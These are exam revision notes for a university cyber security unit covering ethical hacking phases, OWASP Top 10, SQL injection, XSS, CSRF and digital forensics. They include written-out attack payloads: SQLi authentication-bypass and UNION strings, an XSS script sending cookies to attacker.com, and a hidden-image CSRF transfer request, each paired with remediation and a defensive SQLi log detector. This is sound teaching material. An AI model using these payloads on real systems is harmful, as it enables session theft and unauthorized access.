Introduction to Cyber Security
Comprehensive exam revision notes for BCA-431E Unit 5 (Security Testing, Ethical Hacking & Fraud Prevention). Includes Section A (2M), Section B (5M), and Section C (15M) questions, answers, and diagrams.
Introduction to Cyber Security
Security Testing, Ethical Hacking & Fraud Prevention
Core Definitions & Key Concepts
What is the difference between Vulnerability Assessment and Penetration Testing (VAPT)
- Vulnerability Assessment (VA): Automated scanning to discover, list, and categorize known vulnerabilities in a system without actively exploiting them.
- Penetration Testing (PT): Authorized, simulated active cyber attack to actively exploit discovered vulnerabilities to measure real-world impact and depth of compromise.
Name the five classic phases of Ethical Hacking
- Reconnaissance (Footprinting)
- Scanning and Enumeration
- Gaining Access (Exploitation)
- Maintaining Access (Persistence / Backdoors)
- Covering Tracks (Clearing Logs)
What is the OWASP Top 10
A regularly updated, globally recognized consensus document published by the Open Worldwide Application Security Project (OWASP) detailing the ten most critical web application security risks.
SQL Injection (SQLi) and how it occurs
An injection flaw where an attacker submits malicious SQL fragments through input fields, which are directly concatenated into database queries by the backend, allowing unauthorized database querying or data deletion.
What is Cross-Site Scripting (XSS)
An attack where malicious client-side JavaScript code is injected into otherwise trusted web pages, executing in unsuspecting victim browsers to steal session cookies or credentials.
Stored XSS and Reflected XSS
- Stored (Persistent) XSS: Malicious script is permanently stored in the target server's database (e.g., in blog comments) and served to every visitor.
- Reflected (Non-Persistent) XSS: Malicious script is bounced off the web server via URL parameters or search fields, executing only when a victim clicks the malicious link.
What is Cross-Site Request Forgery (CSRF)
An attack that tricks an authenticated victim's browser into executing unwanted actions on a trusted web application where the victim is currently logged in, exploiting the browser's automatic inclusion of session cookies.
How do Anti-CSRF Tokens prevent CSRF attacks
The server embeds a unique, unpredictable, secret cryptographically random token inside forms. When submitted, the server compares the submitted form token with the session token; since cross-origin attackers cannot read the token (due to Same-Origin Policy), forged requests fail.
What is Digital Forensics and Chain of Custody
- Digital Forensics: The application of scientific investigation techniques to identify, preserve, extract, and analyze digital evidence for court admissibility.
- Chain of Custody: The chronological documentation showing the seizure, custody, control, transfer, and analysis of physical/electronic evidence.
What is Clickjacking (UI Redressing)
A deceptive attack where a malicious website overlays a transparent <iframe> of a legitimate site over decoy buttons, tricking the user into clicking sensitive actions (e.g., 'Delete Account' or 'Transfer Funds').
Conceptual & Architectural Analysis
Compare Black Box, White Box, and Grey Box Penetration Testing
| Dimension | Black Box Testing | White Box Testing | Grey Box Testing |
|---|---|---|---|
| Prior Knowledge | Zero knowledge of target internal architecture | Complete access to source code, architecture, and configs | Partial knowledge (e.g., user credentials, high-level map) |
| Simulates | External adversary / Opportunistic hacker | Rogue insider developer / Source code auditor | Disgruntled employee / Authorized external partner |
| Time & Cost | Time-intensive, high reconnaissance | Comprehensive, finds subtle logic bugs | Balanced efficiency and real-world simulation |
The OWASP Top 10 (Current Edition) Categories
- A01: Broken Access Control: Bypassing authorization checks to view unauthorized data.
- A02: Cryptographic Failures: Weak ciphers, cleartext transmission of sensitive data.
- A03: Injection: SQL, NoSQL, OS command injection.
- A04: Insecure Design: Flaws in system architecture before code is written.
- A05: Security Misconfiguration: Default passwords, exposed debugging interfaces.
- A06: Vulnerable and Outdated Components: Using unpatched third-party npm/pip libraries.
- A07: Identification and Authentication Failures: Brute-force attacks, session fixation.
- A08: Software and Data Integrity Failures: Unsigned software updates.
- A09: Security Logging and Monitoring Failures: Insufficient logging preventing detection.
- A10: Server-Side Request Forgery (SSRF): Coercing server to fetch internal network resources.
Detail the SQL Injection Attack Vector: OR 1=1 Authentication Bypass
1-- Vulnerable Backend Code:2SELECT * FROM users WHERE username = '" + userInput + "' AND password = '" + passInput + "';3
4-- Attacker Input in Username Field:5' OR '1'='1' --6
7-- Resulting Evaluated SQL Query:8SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '...';- Because
'1'='1'is alwaysTRUE, theWHEREclause evaluates toTRUEfor all rows. - The
--comment indicator comments out the remaining password check. - The database returns the first record (usually Administrator), bypassing authentication!
CSRF vs XSS Differences
| Feature | Cross-Site Scripting (XSS) | Cross-Site Request Forgery (CSRF) |
|---|---|---|
| Core Execution | Injects and executes arbitrary JavaScript in victim browser | Tricks browser into making HTTP requests victim did not intend |
| Exploitation | Steals session cookies, redirects pages, logs keystrokes | Performs unauthorized actions (changes password, transfers funds) |
| Prerequisite | Vulnerability in target app rendering unescaped output | Victim must have an active authenticated session on target site |
| Primary Defense | Context-aware HTML escaping and Content Security Policy (CSP) | Anti-CSRF synchronization tokens and SameSite=Strict cookies |
Digital Forensics Evidence Acquisition: Order of Volatility
Digital evidence must be acquired in order of volatility from most ephemeral to most stable:
- CPU Registers and Cache memory
- System RAM (Physical Memory Dump)
- Network state and routing tables
- Running processes and kernel statistics
- Hard Disk storage and swap space
- Remote logging data and archived backup tapes.
In-Depth Analysis & Implementation
Provide an In-Depth Technical Demonstration of SQL Injection, Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) with Full Attack Payloads and Robust Remediation Code
Comprehensive Web Security Vulnerability Breakdown
1. SQL Injection (SQLi):
- Attack Payload: In an item search query:
?category=books' UNION SELECT null, username, password_hash FROM admin_users-- - Mechanics:
UNION SELECTmerges results from administrative tables into the public search output. - Remediation (Prepared Statements):
// SECURE: Parameterized Query separates SQL logic from data
String sql = "SELECT id, name, price FROM products WHERE category = ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, userCategoryInput);
ResultSet rs = ps.executeQuery();2. Cross-Site Scripting (XSS):
- Attack Payload: User comments input:
<script>fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));</script> - Mechanics: Browser executes the injected script as valid code, transmitting the victim's session cookie to the attacker.
- Remediation: Context-aware output encoding and modern browser defense:
<!-- SECURE: HTML entity escaping turns dangerous characters into inert text -->
<p>Welcome, <script>...</script></p>
<!-- HTTP Response Header Defense: -->
Set-Cookie: sessionId=...; Secure; HttpOnly; SameSite=Strict
Content-Security-Policy: default-src 'self'; script-src 'self';`HttpOnly` blocks JavaScript from reading `document.cookie` entirely!
3. Cross-Site Request Forgery (CSRF):
- Attack Scenario: Attacker lures logged-in banking user to
malicious.com, containing:
1<img src="https://bank.com/transfer?recipient=Attacker&amount=10000" style="display:none;">- Remediation (Anti-CSRF Synchronizer Token):
1<form action="/transfer" method="POST">2 <input type="hidden" name="csrf_token" value="d8f3a9b1c7e2...">3 <input type="text" name="recipient">4 <input type="submit" value="Send">5</form>Detail the 5 Phases of Ethical Hacking and Penetration Testing Methodology with Industry Toolchains
Ethical Hacking Methodology Framework
[ 1. Reconnaissance ] ---> [ 2. Scanning ] ---> [ 3. Exploitation ] ---> [ 4. Persistence ] ---> [ 5. Reporting ]
- OSINT / Whois - Nmap Port Scan - Metasploit Framework - Scheduled Tasks - Executive Summary
- theHarvester - Nessus / OpenVAS - Burp Suite Pro - Netcat Backdoor - Technical Findings
- Shodan - Nikto Web Scan - SQLmap - Privilege Escalation - Remediation RoadmapDetailed Phase Breakdown:
- Reconnaissance (Passive & Active): Information gathering without directly interacting with defensive firewalls (Passive) or active DNS zone transfers and ping sweeps (Active).
- Scanning & Enumeration: Discovering live hosts, open TCP/UDP ports, running service versions, OS finger-printing, and banner grabbing.
- Gaining Access (Exploitation): Leveraging discovered vulnerabilities (e.g., using Metasploit exploit modules against unpatched Apache services) to obtain an interactive shell.
- Maintaining Access: Establishing persistent backdoor access (e.g., reverse TCP shell on port 443) and escalating privileges from local user to
root/SYSTEM. - Analysis & Reporting: Compiling technical findings, CVSS vulnerability severity scores, evidence screenshots, and prioritized remediation recommendations.
Implement a Python Script to Detect SQL Injection Patterns in Web Server Access Logs
import re
# Common SQL Injection regular expression signatures
SQLI_PATTERNS = [
r"(\b(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|ALTER)\b.*\b(FROM|INTO|TABLE)\b)",
r"(--|#|\/\*)", # SQL comment markers
r"('\s*OR\s*['0-9]=\s*['0-9])", # ' OR '1'='1'
r"(\bUNION\s+ALL\s+SELECT\b)",
r"(\bWAITFOR\s+DELAY\b)" # Time-based blind
]
def analyze_log_line(log_line):
for pattern in SQLI_PATTERNS:
match = re.search(pattern, log_line, re.IGNORECASE)
if match:
return True, match.group(0)
return False, None
# Sample Web Server Access Logs
sample_logs = [
'192.168.1.10 - - [18/Oct/2026:10:00:01] "GET /products?id=12 HTTP/1.1" 200 1420',
'192.168.1.55 - - [18/Oct/2026:10:02:15] "GET /login?user=admin%27%20OR%20%271%27=%271-- HTTP/1.1" 302 450',
'192.168.1.80 - - [18/Oct/2026:10:05:40] "GET /search?q=books%27%20UNION%20SELECT%20null,password%20FROM%20users-- HTTP/1.1" 200 3200'
]
print("Analyzing Server Logs for SQL Injection Attacks:")
print("-" * 70)
for log in sample_logs:
is_attack, signature = analyze_log_line(log)
if is_attack:
print(f"[ALERT - SQLi DETECTED] Matched Pattern: '{signature}'\nLog: {log}\n")
else:
print(f"[CLEAN] {log}\n")Important Exam Points & Quick Revision
Examiners frequently ask: VAPT definitions, SQL Injection and XSS mechanics with remediation (guaranteed 10-15 marks Section C), and 5 phases of ethical hacking.
100% left on this page — finishing it closes the gap for Security Testing, Ethical Hacking & Fraud Prevention.
Security Testing, Ethical Hacking & Fraud Prevention still counts as a weak topic until you finish this note and answer its questions.
Practise this unitTest Your Understanding
Now that you've read through these notes, practice unit MCQs to identify weak points and solidify your learning before exams.